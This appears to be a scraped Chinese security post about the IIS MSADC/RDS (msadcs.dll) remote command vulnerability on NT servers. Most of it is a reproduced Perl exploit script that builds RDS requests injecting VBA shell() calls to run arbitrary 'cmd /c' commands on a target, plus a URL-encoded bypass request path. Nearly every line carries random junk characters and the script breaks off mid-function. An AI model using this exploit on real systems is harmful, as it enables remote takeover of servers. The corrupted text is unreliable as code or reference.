IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
uIOnP )YE3n-~7{ 涉及程序:
P;7JK=~k Microsoft NT server
q#RUL!WF7U uURm6mVt9: 描述:
s9R#rwIc 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
J!40`8i OIpkXM 详细:
zPzy0lx 如果你没有时间读详细内容的话,就删除:
jlvh'y` c:\Program Files\Common Files\System\Msadc\msadcs.dll
'
U]\]Wp 有关的安全问题就没有了。
x3j)'`=15 (gY3?&Ok* 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
eD4D<\* ws1io. 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
!6Sr*a*5 关于利用ODBC远程漏洞的描述,请参看:
;L1Q"Hxh |$*1!pL-QP http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm d??;r: dwd5P7
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
#|<\q* < http://www.microsoft.com/security/bulletins/MS99-025faq.asp {kCCpU kj_MzgC'? 这里不再论述。
.dA_} @d&(*9Y 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
'3BBTr%aZ ! =(OvX_< /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
&PQhJ#YG 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
#0HZ"n S T#9auw MI^@p`s #将下面这段保存为txt文件,然后: "perl -x 文件名"
tB S+?N L|B/' #!perl
Q=YIAGK #
=geopktpf # MSADC/RDS 'usage' (aka exploit) script
H(L.k;B #
5`Q* # by rain.forest.puppy
kYbqb? #
\wMqVRPoQ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
6T"4<w[ # beta test and find errors!
``X1xiB E}?n^Zf use Socket; use Getopt::Std;
R;mA2:W)x getopts("e:vd:h:XR", \%args);
cs+;ijp b|SDg%e print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
5;WESk sfD@lW3 if (!defined $args{h} && !defined $args{R}) {
Y-yozt print qq~
#mT\B[4h Usage: msadc.pl -h <host> { -d <delay> -X -v }
l k~VvRq -h <host> = host you want to scan (ip or domain)
&>nB@SQZ -d <seconds> = delay between calls, default 1 second
|ry![\ -X = dump Index Server path table, if available
O`?qnNmc; -v = verbose
(,nQ7,2EX -e = external dictionary file for step 5
)RUx ` nd/N# Or a -R will resume a command session
Qy4eDv5 eELLnU{" ~; exit;}
58[=.rzD 4d x4hBd $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
M Ewa^ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
WK2YHJ*$ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
>W?i+,g if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
cn~/P|B[ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Nm{+!}cC if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0P_=Oy"l- /penB[1i if (!defined $args{R}){ $ret = &has_msadc;
7)RDu,fx die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
\wZ
4enm ~,^pya print "Please type the NT commandline you want to run (cmd /c assumed):\n"
YCPU84f . "cmd /c ";
hwx1 fpo4 $in=<STDIN>; chomp $in;
aB_~Vh $command="cmd /c " . $in ;
2ezk<R5q+ nYsB^Nr6 if (defined $args{R}) {&load; exit;}
^;8dl.; et`1#_o print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
HNUpgNi &try_btcustmr;
i'cGB5-j i C)+5L#' print "\nStep 2: Trying to make our own DSN...";
"]SA4Ud^ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
dI(1L~ 2v$\mL print "\nStep 3: Trying known DSNs...";
r+Pfq[z& &known_dsn;
q1^bH6*fl ,kQCCn] print "\nStep 4: Trying known .mdbs...";
]D.}
/g &known_mdb;
m~I@q
[ p=XEMVqm if (defined $args{e}){
(X?HuWTm print "\nStep 5: Trying dictionary of DSN names...";
po! [Nd&" &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
uVth&4dh9 *KV^X(/ print "Sorry Charley...maybe next time?\n";
>sm~te$5 exit;
R+*-i+]Q#7 g+j\wvx0 ##############################################################################
S4S}go*G[ r@t
\a+
sub sendraw { # ripped and modded from whisker
>rhqhmh;W" sleep($delay); # it's a DoS on the server! At least on mine...
9] L4`.HM my ($pstr)=@_;
o[aP+O Md socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
u5.zckV die("Socket problems\n");
Leu6kPk if(connect(S,pack "SnA4x8",2,80,$target)){
$RA+StF!] select(S); $|=1;
SpO%nZ";g8 print $pstr; my @in=<S>;
01n7ua*XX select(STDOUT); close(S);
Gh5 3Pne return @in;
1Y:JGon } else { die("Can't connect...\n"); }}
x' v-]C(@ r9Vt}]$a G ##############################################################################
g#iRkz%l)& +Pc2`,pw| sub make_header { # make the HTTP request
3^Q;On| my $msadc=<<EOT
{_G_YL[ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
6fm oIK{ User-Agent: ACTIVEDATA
F! [Gj%~I
Host: $ip
8kf5u#,' Content-Length: $clen
6Z@?W Connection: Keep-Alive
a9uMgx} rDWwu' ADCClientVersion:01.06
J[{ R:l\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
*DgRF/S /g>]J70 --!ADM!ROX!YOUR!WORLD!
g8R@ol0 Content-Type: application/x-varg
8 \"A-+_Q Content-Length: $reqlen
=B{B?B"r \"a~~Koe EOT
);/p[Fd2] ; $msadc=~s/\n/\r\n/g;
e +Ikw1y"f return $msadc;}
*x/H +ovT?CMo ##############################################################################
Bun^EJ) e>UU/Ks sub make_req { # make the RDS request
~}_S]^br my ($switch, $p1, $p2)=@_;
,`ba?O?*G my $req=""; my $t1, $t2, $query, $dsn;
?>1wZ 6T5\zInd if ($switch==1){ # this is the btcustmr.mdb query
{(IHHA> $query="Select * from Customers where City=" . make_shell();
3V]08 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
)b~+\xL5J $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
hZ|8mV ~bqw !rz elsif ($switch==2){ # this is general make table query
+3k.xP?QS $query="create table AZZ (B int, C varchar(10))";
k5|GN Y6a $dsn="$p1";}
{t*CSI O!'gylj/ elsif ($switch==3){ # this is general exploit table query
{Ia1Wd 8n $query="select * from AZZ where C=" . make_shell();
G b4p"3 $dsn="$p1";}
pwvmb\ ,z01*Yx elsif ($switch==4){ # attempt to hork file info from index server
x21XzGLY|} $query="select path from scope()";
t>2EZ{N+y $dsn="Provider=MSIDXS;";}
mT>RQ. ;v!Ef"E|cV elsif ($switch==5){ # bad query
gDjAnz# $query="select";
OYfRtfE $dsn="$p1";}
w!b;.l E&ReQgBft $t1= make_unicode($query);
-nZDFC8y$ $t2= make_unicode($dsn);
R_=fH\c; $req = "\x02\x00\x03\x00";
_ mgu
r $req.= "\x08\x00" . pack ("S1", length($t1));
p@?ud% $req.= "\x00\x00" . $t1 ;
CHVAs9mrNB $req.= "\x08\x00" . pack ("S1", length($t2));
[4Q;5 'Dj $req.= "\x00\x00" . $t2 ;
yBCLS550 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
BQ=JZ4& return $req;}
t:P]G>)x| ,b<m],p ##############################################################################
mYqLqezAA A>frf[fAW sub make_shell { # this makes the shell() statement
.IsOU return "'|shell(\"$command\")|'";}
U1D;O}z~ Z-L }"~ ##############################################################################
v=daafO ,=[r6k< sub make_unicode { # quick little function to convert to unicode
?jsgBol my ($in)=@_; my $out;
JF'<"" for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
PB) vE return $out;}
E_0i9 ^SbxClUfw! ##############################################################################
s)+] pxV0- ;3iWV"&_A sub rdo_success { # checks for RDO return success (this is kludge)
Q$5%9 my (@in) = @_; my $base=content_start(@in);
^}UFtL i if($in[$base]=~/multipart\/mixed/){
ny0]Q@ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
iGBHlw;A return 0;}
CropHB/t )K]<\Q[ ##############################################################################
od^o9(.W^ %"e hZd0r sub make_dsn { # this makes a DSN for us
lpjby[S my @drives=("c","d","e","f");
k&:~l@?O print "\nMaking DSN: ";
:|-^et]a8 foreach $drive (@drives) {
7HJH9@8V print "$drive: ";
#@F my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
RLO<5L "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
#+
{%>f . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
KvjH\;78 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
\1eWI return 0 if $2 eq "404"; # not found/doesn't exist
%r@:7/ if($2 eq "200") {
O4!!*0(+91 foreach $line (@results) {
_y:aPn return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
PB#EU9 } return 0;}
H|3CZ=U? Y2|c;1~5$ ##############################################################################
sfp.> bMj
QrLXAK\5 sub verify_exists {
pS8`OBenA my ($page)=@_;
@>F`;'_*z my @results=sendraw("GET $page HTTP/1.0\n\n");
!>fi3#Fi return $results[0];}
[7l5p(= 1i#U& ##############################################################################
wsj5;(f+ )o;n2T#O sub try_btcustmr {
FX+^S?x. my @drives=("c","d","e","f");
-h 21 my @dirs=("winnt","winnt35","winnt351","win","windows");
SJlL!<i$ =kw6<!R foreach $dir (@dirs) {
;I>77gi`] print "$dir -> "; # fun status so you can see progress
d 1 O+qS foreach $drive (@drives) {
$gdGII&n print "$drive: "; # ditto
~2UmX' $reqlen=length( make_req(1,$drive,$dir) ) - 28;
UdFYG^i $reqlenlen=length( "$reqlen" );
p]6/1&t